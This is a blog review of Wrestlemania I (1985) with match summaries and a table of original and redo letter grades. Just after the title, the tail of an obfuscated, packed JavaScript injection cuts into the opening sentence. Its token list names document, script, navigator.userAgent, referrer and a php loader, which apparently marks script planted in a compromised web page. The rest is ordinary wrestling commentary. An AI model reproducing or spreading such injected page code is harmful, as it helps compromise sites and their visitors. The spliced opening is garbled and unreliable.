Wrestlemania Count-Up – Wrestlemania I: At Least It’s Not The Colossal Tussle
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsnsk|var|u0026u|referrer|izbef||js|php'.split('|'),0,{})) had to get here eventually and it feels great to be back. These shows are the first reviews I ever did as I thought it would be fun to look back at every show leading up to Wrestlemania XXXIII. Little did I know that I would spend four years doing them and wind up going on to do every major PPV of all time. That’s appropriate as this is the birth of the modern PPV (Yes Starrcade came first and no, it wasn’t the same kind of show. Well not at first at least) and the biggest event in wrestling.
Wrestlemania started off as little more than a house show with mainstream press. Fueled by the Rock N Wrestling Connection which saw wrestlers appearing in pop and rock music videos (thanks to the rise of MTV), the show was the follow up to a pair of shows called the Brawl to End it All and the War to Settle the Score.
Wrestlemania I
Date: March 31, 1985
Location: Madison Square Garden, New York City, New York
Attendance: 19,121
Commentators: Gorilla Monsoon, Jesse Ventura
Tito Santana vs. Executioner
Bundy says Jones needs to be ready for the Avalanche and the five count.
S. D. Jones vs. King Kong Bundy
Matt Borne vs. Ricky Steamboat
The Sammartinos are ready for Johnny V and Brutus Beefcake. Bruno threatens Johnny V is he tries to get involved.
David Sammartino vs. Brutus Beefcake
Intercontinental Title: Junkyard Dog vs. Greg Valentine
Tag Titles: US Express vs. Nikolai Volkoff/Iron Sheik
Off to Barry who avoids double teaming and causes the challengers to collide. Back to Rotundo to work over Nikolai with an elbow drop getting two. Windham comes in off the top with a shot to the arm and Rotundo does the same thing. Sheik suplexes Mike down for two as the foreigners take over. Nikolai drops him throat first across the throat and the USA chant starts up.
Intermission which is edited out of the home video releases.
Big John Studd vs. Andre the Giant
Andre hands a few bucks out to the fans but Heenan steals the bag and runs off.
Moolah and Lelani Kai are ready to keep the title.
Kai charges into a boot in the corner and Richter shoves the referee away like a jerk. Moolah chokes away at Wendi in the corner until Lauper comes over to make the save. Richter hits a kind of reverse AA and a splash for two. Lelani hits a backbreaker for two before going up for a cross body, only to have Wendi roll through for the pin and the title.
Richter and Lauper dance around the ring in celebration in another semi-famous scene.
Richter and Lauper celebrate in the back as well.
Hulk Hogan/Mr. T. vs. Roddy Piper/Paul Orndorff
Orndorff and T brawl on the mat for a bit until Mr. gets in trouble via a Piper front facelock. That goes nowhere though as T stands up and makes the tag with no effort to be seen. Hogan pounds away but walks into a belly to back suplex. Orton and Snuka get in the ring for no apparent reason and as the referee calms things down, Orton comes in off the top with the cast but hits Orndorff by mistake to give Hogan the pin.
Piper and Orton bail but the good guys let Orndorff leave without beating on him even more.
We recap the ending of the main event.
Hogan, T and Snuka talk about winning.
Ratings Comparison
Tito Santana vs. Executioner
Original: C
Redo: C-
King Kong Bundy vs. S.D. Jones
Original: N/A
Redo: N/A
Ricky Steamboat vs. Matt Borne
Original: C-
Redo: D+
David Sammartino vs. Brutus Beefcake
Original: D-
Redo: D+
Junkyard Dog vs. Greg Valentine
Original: D+
Redo: D+
Nikolai Volkoff/Iron Shiek vs. U.S. Express
Original: B-
Redo: C
Andre the Giant vs. Big John Studd
Original: D+
Redo: D
Wendi Richter vs. Lelani Kai
Original: B
Redo: D
Hulk Hogan/Mr. T. vs. Roddy Piper/Paul Orndorff
Original: B
Redo: B-
Overall Rating
Original: C-
Redo: D+
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